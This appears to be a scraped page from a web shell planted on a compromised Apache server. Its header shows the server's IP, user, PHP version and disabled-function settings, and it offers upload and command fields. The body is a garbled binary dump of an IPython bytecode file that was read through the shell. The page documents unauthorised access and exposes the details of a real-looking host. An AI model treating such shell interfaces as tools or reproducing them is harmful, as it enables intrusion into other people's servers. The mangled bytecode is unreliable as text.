403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/IPython/core/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/IPython/core/__pycache__/inputtransformer.cpython-311.pyc
�

�@�cF����dZddlZddlZddlZddlZddlmZmZmZddlm	Z	ddl
mZdZdZ
dZd	Zd
ZdZdZd
ZdZee
eeeeeeeg	ZGd�dej���ZGd�de��ZGd�de��ZGd�de��ZGd�de��Zejd���Zd�Zd�Zd�Z d�Z!d�Z"d �Z#d!�Z$d"�Z%eee
e ee!ee!ee"ee#ee$ee%iZ&ejd#���Z'ej(d$��Z)ej(d%ej*��Z+e,��Z-e,��Z.d&�Z/d'�Z0d(�Z1ejd)���Z2ejd7d+���Z3d8d,�Z4ejd-���Z5ejd.���Z6ejd/���Z7d0Z8ej(d1�9e8��ej*��Z:d2Z;ejd3���Z<ej(d4�9e8��ej*��Z=d5Z>ejd6���Z?dS)9a,DEPRECATED: Input transformer classes to support IPython special syntax.

This module was deprecated in IPython 7.0, in favour of inputtransformer2.

This includes the machinery to recognise and transform ``%magic`` commands,
``!system`` commands, ``help?`` querying, prompt stripping, and so forth.
�N)�generate_tokens�
untokenize�
TokenError)�StringIO)�LineInfo�!z!!�?�??�%z%%�,�;�/c�h�eZdZdZejd���Zejd���Zed���Z	dS)�InputTransformerz6Abstract base class for line-based input transformers.c��dS)a1Send a line of input to the transformer, returning the transformed
        input or None if the transformer is waiting for more input.

        Must be overridden by subclasses.

        Implementations may raise ``SyntaxError`` if the input is invalid. No
        other exceptions may be raised.
        N���self�lines  �?/usr/lib/python3/dist-packages/IPython/core/inputtransformer.py�pushzInputTransformer.push-s	��	
��c��dS)z�Return, transformed any lines that the transformer has accumulated,
        and reset its internal state.

        Must be overridden by subclasses.
        Nr�rs r�resetzInputTransformer.reset9s	��	
�rc�J���tj�����fd���}|S)z�Can be used by subclasses as a decorator, to return a factory that
        will allow instantiation with the decorated object.
        c�����fi|��S�Nr)�kwargs�cls�funcs ��r�transformer_factoryz2InputTransformer.wrap.<locals>.transformer_factoryGs����3�t�&�&�v�&�&�&r)�	functools�wraps)r r!r"s`` r�wrapzInputTransformer.wrapBsA����

���	�	�	'�	'�	'�	'�	'�
�	�	'�#�"rN)
�__name__�
__module__�__qualname__�__doc__�abc�abstractmethodrr�classmethodr%rrrrr*sq������@�@���	
�	
���	
�	��
�
���
��#�#��[�#�#�#rr)�	metaclassc�*�eZdZdZd�Zd�Zd�Zd�ZdS)�StatelessInputTransformerzDWrapper for a stateless input transformer implemented as a function.c��||_dSr�r!�rr!s  r�__init__z"StatelessInputTransformer.__init__Os
����	�	�	rc�6�d�|j��S)Nz%StatelessInputTransformer(func={0!r}))�formatr!rs r�__repr__z"StatelessInputTransformer.__repr__R���6�=�=�d�i�H�H�Hrc�,�|�|��S)zQSend a line of input to the transformer, returning the
        transformed input.r1rs  rrzStatelessInputTransformer.pushUs���y�y����rc��dS)z!No-op - exists for compatibility.Nrrs rrzStatelessInputTransformer.resetZs���rN�r&r'r(r)r3r6rrrrrr/r/MsY������N�N����I�I�I����

�
�
�
�
rr/c�*�eZdZdZd�Zd�Zd�Zd�ZdS)�CoroutineInputTransformerz<Wrapper for an input transformer implemented as a coroutine.c�H�|di|��|_t|j��dS)Nr)�coro�next)rr>rs   rr3z"CoroutineInputTransformer.__init__`s&���D�N�N�6�N�N��	��T�Y�����rc�6�d�|j��S)Nz%CoroutineInputTransformer(coro={0!r}))r5r>rs rr6z"CoroutineInputTransformer.__repr__er7rc�6�|j�|��S)z�Send a line of input to the transformer, returning the
        transformed input or None if the transformer is waiting for more
        input.
        �r>�sendrs  rrzCoroutineInputTransformer.pushhs��
�y�~�~�d�#�#�#rc�6�|j�d��S)zrReturn, transformed any lines that the transformer has
        accumulated, and reset its internal state.
        NrBrs rrzCoroutineInputTransformer.resetos���y�~�~�d�#�#�#rNr:rrrr<r<^sY������F�F����
I�I�I�$�$�$�$�$�$�$�$rr<c�0�eZdZdZd�Zd�Zd�Zd�Zd�ZdS)�TokenInputTransformerz�Wrapper for a token-based input transformer.
    
    func should accept a list of tokens (5-tuples, see tokenize docs), and
    return an iterable which can be passed to tokenize.untokenize().
    c�J�||_g|_|���dSr)r!�buf�reset_tokenizerr2s  rr3zTokenInputTransformer.__init__{s(����	�����������rc�`�t|j��}t|j��|_dSr)�iterrHr�__next__�	tokenizer)r�its  rrIz%TokenInputTransformer.reset_tokenizer�s$��
�$�(�^�^��(���5�5����rc���|j�|dz��td�|jD����r|���Sg}d}	|jD]U}|�|��|d}|t
jks|r|t
jkrn|t
jkrd}�Vn%#t$r|�
��YdSwxYw|�|��S)N�
c3�>K�|]}|���V��dSr)�isspace)�.0�ls  r�	<genexpr>z-TokenInputTransformer.push.<locals>.<genexpr>�s*����-�-�q�q�y�y�{�{�-�-�-�-�-�-rFrT)rH�append�allrrM�tokenize�NEWLINE�NL�
ERRORTOKENrrI�output)rr�tokens�
stop_at_NL�intok�ts      rrzTokenInputTransformer.push�s�������t��$�$�$��-�-�D�H�-�-�-�-�-�	 ��:�:�<�<�����
�	���
&�
&���
�
�e�$�$�$��!�H����(�(�(�Z�(�A���<L�<L��E��(�-�-�-�!%�J�����	�	�	�� � �"�"�"��4�4�	����
�{�{�6�"�"�"s�AB3�3C�Cc���|j���|���t|�|�����d��S)NrP)rH�clearrIrr!�rstrip�rr]s  rr\zTokenInputTransformer.output�sN����������������$�)�)�F�+�+�,�,�3�3�D�9�9�9rc���d�|j��}|j���|���|r|�d��SdS)N�rP)�joinrHrbrIrc)rrTs  rrzTokenInputTransformer.reset�s[���G�G�D�H������������������	"��8�8�D�>�>�!�	"�	"rN)	r&r'r(r)r3rIrr\rrrrrFrFusi��������
���
6�6�6�#�#�#�.:�:�:�
"�"�"�"�"rrFc�$��eZdZ�fd�Zd�Z�xZS)�assemble_python_linesc�X��tt|���d��dSr)�superrir3)r�	__class__s �rr3zassemble_python_lines.__init__�s(���
�#�T�*�*�3�3�D�9�9�9�9�9rc�*�|���Sr)rrds  rr\zassemble_python_lines.output�s���z�z�|�|�r)r&r'r(r3r\�
__classcell__)rls@rriri�sG�������:�:�:�:�:�������rric#�2K�d}	|V�}|r|���r�g}|�^|�d��r1t|��s"|�|dd���dV�}n|�|��n|�^d�|��}��)z4Join lines following explicit line continuations (\)rfTN�\���)rR�endswith�has_commentrVrg)r�partss  r�assemble_logical_linesru�s������D���
�
���	�t�|�|�~�~�	�������}�}�T�"�"�
�K��,=�,=�
����T�#�2�#�Y�'�'�'�"�
�
������T�"�"�"��
���w�w�u�~�~��rc���|dkrdnd|vrdnd}d�||g��}|�d��\}}}|�t��}|�d|�d|�d	�S)
zUPrepares a pinfo(2)/psearch call from a target name and the escape
    (i.e. ? or ??)r
�pinfo2�*�psearch�pinfo� zget_ipython().run_line_magic(�, �))rg�	partition�lstrip�	ESC_MAGIC)�target�esc�lspace�method�arg�t_magic_name�_�
t_magic_arg_ss        r�_make_help_callr��s�����+�+�h�h�"%��-�-�Y�Y����(�(�F�F�#�
$�
$�C�%(�]�]�3�%7�%7�"�L�!�]��&�&�y�1�1�L��������
�
��rc�~�|j����t��}|j�d|�d�S)zTranslate lines escaped with: !zget_ipython().system(r})rr�	ESC_SHELL�pre��	line_info�cmds  r�
_tr_systemr��s8��
�.�
�
�
!�
!�
(�
(��
3�
3�C�+4�=�=�=�#�#�#�>�>rc�^�|j���dd�}|j�d|�d�S)z Translate lines escaped with: !!�Nzget_ipython().getoutput(r})rrr�r�s  r�_tr_system2r��s3��
�.�
�
�
!�
!�!�"�"�
%�C�.7�m�m�m�S�S�S�A�Arc�d�|jdd�sdSt|j|j|j��S)z"Translate lines escaped with: ?/??�Nzget_ipython().show_usage())rr��ifunr�r��r�s r�_tr_helpr��s5���>�!�"�"��,�+�+��9�>�9�=�)�-�H�H�Hrc�8�d}|j�t��r|jSd�|j|jg�����}|�d��\}}}|�t��}||j
||fzS)zTranslate lines escaped with: %z&%sget_ipython().run_line_magic(%r, %r)r{)r�
startswith�
ESC_MAGIC2rgr��the_rest�stripr~rr�r�)r��tplr�r�r�r�s      r�	_tr_magicr��s���
2�C��~� � ��,�,���~��

�(�(�I�N�I�$6�7�
8�
8�
>�
>�
@�
@�C�%(�]�]�3�%7�%7�"�L�!�]��&�&�y�1�1�L��)�-��}�=�=�=rc�~�|j�|j�dd�|j������d�S)zTranslate lines escaped with: ,�("z", "�")�r�r�rgr��splitr�s r�	_tr_quoter��sA��$�=�=�)�.�.�.����Y�%7�%=�%=�%?�%?�@�@�@�@�C�Crc�4�|j�|j�d|j�d�S)zTranslate lines escaped with: ;r�r�)r�r�r�r�s r�
_tr_quote2r��s'��$�=�=�)�.�.�.�$�-�-�-�/�/rc�~�|j�|j�dd�|j������d�S)zTranslate lines escaped with: /�(r|r}r�r�s r�	_tr_parenr��sA��"���	�������9�#5�#;�#;�#=�#=�>�>�>�>�@�@rc��|r|���r|St|��}|jtvr|St|j|��S)zMTransform escaped commands - %magic, !system, ?help + various autocalls.
    )rRrr��tr)r�lineinfs  r�escaped_commandsr�sQ����4�<�<�>�>�����t�n�n�G��{�"�����
�g�k�?�7�#�#�#rz\s*a
(%{0,2}
                              (?!\d)[\w*]+            # Variable name
                              (\.(?!\d)[\w*]+)*       # .etc.etc
                              )
                              (\?\??)$                # ? or ??
                              c�^�t|��j}t��}	t|��D]}|�|d���n[#t
$rN}d|jdvr|�t��n|�t��Yd}~nd}~wwxYw|S)z5Helper for has_comment and ends_in_comment_or_string.rzmulti-line stringN)	r�readline�setr�addr�args�_MULTILINE_STRING�_MULTILINE_STRUCTURE)rr��toktypesr`�es     r�_line_tokensr�%s�����~�~�&�H��u�u�H�/� ��*�*�	�	�A��L�L��1������	���/�/�/��!�&��)�+�+��L�L�*�+�+�+�+��L�L�-�.�.�.����������/�����Os�-A�
B*�AB%�%B*c�8�tjt|��vS)a=Indicate whether an input line has (i.e. ends in, or is) a comment.

    This uses tokenize, so it can distinguish comments from # inside strings.

    Parameters
    ----------
    src : string
        A single line input string.

    Returns
    -------
    comment : bool
        True if source has a comment.
    )rX�COMMENTr�)�srcs rrsrs4s��
���S� 1� 1�1�2rc�N�t|��}tj|vpt|vS)aIndicates whether or not an input line ends in a comment or within
    a multiline string.

    Parameters
    ----------
    src : string
        A single line input string.

    Returns
    -------
    comment : bool
        True if source ends in a comment or multiline string.
    )r�rXr�r�)r�r�s  r�ends_in_comment_or_stringr�Es*���C� � �H����(�L�.?�8�.K�Lrc�,�t�|��}|�t|��r|S|�d��}|�d��}t�|���d��}t
|||��S)z$Translate lines with ?/?? at the endNr��r)�_help_end_re�searchr��group�_initial_space_re�matchr�)r�mr�r�r�s     r�help_endr�Ws��	���D�!�!�A��y�-�d�3�3�y���
�W�W�Q�Z�Z�F�
�'�'�!�*�*�C�
�
$�
$�T�
*�
*�
0�
0��
3�
3�F��6�3��/�/�/rFc#�K�d}tjd��}d}	|V�}|s|V�}|�|�t��s	|�|V�}|��0|�|��r�F|}g}dV�}|�O|���dks|s5|�|��dV�}|�|���dk�3|�5|�d��\}}}|�t��}|||d�	|��fz}��)z�Captures & transforms cell magics.

    After a cell magic is started, this stores up any lines it gets until it is
    reset (sent None).
    z(get_ipython().run_cell_magic(%r, %r, %r)z%%\w+\?rfTNr{rP)
�re�compiler�r�r�r�rVr~rrg)�end_on_blank_liner��cellmagic_help_rer�first�body�
magic_namer�s        r�	cellmagicr�dsQ����5�C��
�:�.�.��
�D�;��
�
���	 ��J�J�D��	 ����z�*�*�	��"�"�
�
���"���"�"�4�(�(�	�������
�
����"&�*�*�,�,�"�"4�"4�=N�"4��K�K������J�J�D���"&�*�*�,�,�"�"4�"4�=N�"4�
 %���s�3�3��
�A�u��&�&�z�2�2�
��j�%����D�)9�)9�:�:��7;rc#�@K�|�|}d}	|V�}|��|�d|d���\}}|r |s|�|��r	|�|V�}|��E|V�}|��L|�d|d���\}}|V�}|s|r|�|�d|d���V�}|�n|�|V�}|���)a&Remove matching input prompts from a block of input.

    Parameters
    ----------
    prompt_re : regular expression
        A regular expression matching any input prompt (including continuation)
    initial_re : regular expression, optional
        A regular expression matching only the initial prompt, but not continuation.
        If no initial expression is given, prompt_re will be used everywhere.
        Used mainly for plain Python prompts, where the continuation prompt
        ``...`` is a valid Python expression in Python 3, so shouldn't be stripped.

    Notes
    -----
    If `initial_re` and `prompt_re differ`,
    only `initial_re` will be tested against the first line.
    If any prompt is found on the first two lines,
    prompts will be stripped from the rest of the block.
    NrfTr�)�count)�subnr��sub)�	prompt_re�
initial_re�
turnoff_rer�out�n1�n2s       r�_strip_promptsr��s����(���
�
�D�"$��
�
���<���/�/�"�d�!�/�4�4���R��	�b�	�����%�%�
��&�"&�J�J�D��&���	�	���<���.�.��T��.�3�3���R��	�	��
�		$��		$��"�'�m�m�B��A�m�>�>�>�>���"��
�"�"�
�
���"�C"$rc��tjd��}tjd��}tjd��}t|||��S)z:Strip the >>>/... prompts of the Python interactive shell.z^(>>>|\.\.\.)( |$)z	^>>>( |$)z^[%!]�r�r�r�)r�r�r�s   r�classic_promptr��sD���
�0�1�1�I���L�)�)�J���H�%�%�J��)�Z��<�<�<rc�t�tjd��}tjd��}t||���S)z%Strip IPython's In [1]:/...: prompts.z^(In \[\d+\]: |\s*\.{3,}: ?)z^%%)r�r�)r�r�s  r�
ipy_promptr��s6���
�:�;�;�I���F�#�#�J��)�
�;�;�;�;rc#�K�tjd��}d}	|V�}|��|�|��}|rJ|�d��}|�2|�|��r|t|��d�}|V�}|�2n|�|V�}|��q)z�Remove leading indentation.

    If the first line starts with a spaces or tabs, the same whitespace will be
    removed from each following line until it is reset.
    z^[ \t]+rfTNr)r�r�r�r�r��len)�space_rerr��spaces    r�leading_indentr��s������z�*�%�%�H�
�D�$��
�
���<���N�N�4� � ���		$��G�G�A�J�J�E��"��?�?�5�)�)�-���E�
�
���,�D�"�
�
���"���"�"�
�
���"�$rz�(?P<lhs>(\s*)
    ([\w\.]+)                # Initial identifier
    (\s*,\s*
        \*?[\w\.]+)*         # Further identifiers for unpacking
    \s*?,?                   # Trailing comma
    )
    \s*=\s*
z{}!\s*(?P<cmd>.*)z %s = get_ipython().getoutput(%r)c�z�t�|��}|�|St|�dd��zS)z<Transform assignment from system commands (e.g. files = !ls)N�lhsr�)�assign_system_rer��assign_system_templater�)rr�s  r�assign_from_systemr�s:��	���t�$�$�A��y���!�A�G�G�E�5�$9�$9�9�9rz{}%\s*(?P<cmd>.*)z)%s = get_ipython().run_line_magic(%r, %r)c���t�|��}|�|S|�dd��\}}|�d��\}}}|�t
��}t|||fzS)z;Transform assignment from magic commands (e.g. a = %who_ls)Nr�r�r{)�assign_magic_rer�r�r~rr��assign_magic_template)rr��m_lhs�m_cmdr�r�r�s       r�assign_from_magicr�su��	���d�#�#�A��y����7�7�5�%�(�(�L�E�5�%*�_�_�S�%9�%9�"�L�!�]��&�&�y�1�1�L� �E�<��#G�G�Gr)F)NN)@r)r*r#r�rXrrr�ior�IPython.core.splitinputrr��
ESC_SH_CAP�ESC_HELP�	ESC_HELP2r�r��	ESC_QUOTE�
ESC_QUOTE2�	ESC_PAREN�
ESC_SEQUENCES�ABCMetarr/r<rFrir%rur�r�r�r�r�r�r�r�r�r�r�r��VERBOSEr��objectr�r�r�rsr�r�r�r�r�r�r��_assign_patr5r�r�r�r�r�r�rrr�<module>r�sv�����
�
�
�����	�	�	�	�����<�<�<�<�<�<�<�<�<�<�������,�,�,�,�,�,��	�
�
�
��
�	�
�	�
�
�
�	�
�
�
�	��J���I�z��J�	�4�
�
!#�!#�!#�!#�!#���!#�!#�!#�!#�F
�
�
�
�
� 0�
�
�
�"$�$�$�$�$� 0�$�$�$�.0"�0"�0"�0"�0"�,�0"�0"�0"�d�����1�������� ���*���$?�?�?�
B�B�B�
I�I�I�	>�	>�	>�C�C�C�
/�/�/�
@�@�@�
�J��K��H��H��I��I��J��I� ����	$�	$� ��	$��B�J�v�&�&���r�z�"�!�j�
*�*���F�H�H���v�x�x��
�
�
�3�3�3�"M�M�M�$��	0�	0� ��	0���$;�$;�$;� ��$;�N9$�9$�9$�9$�v��=�=� ��=���<�<� ��<���$�$� ��$�8���2�:�2�9�9�+�F�F��
�S�S��;����:�:� ��:��"�*�1�8�8��E�E�r�z�R�R��C����	H�	H� ��	H�	H�	Hr

Youez - 2016 - github.com/yon3zu
LinuXploit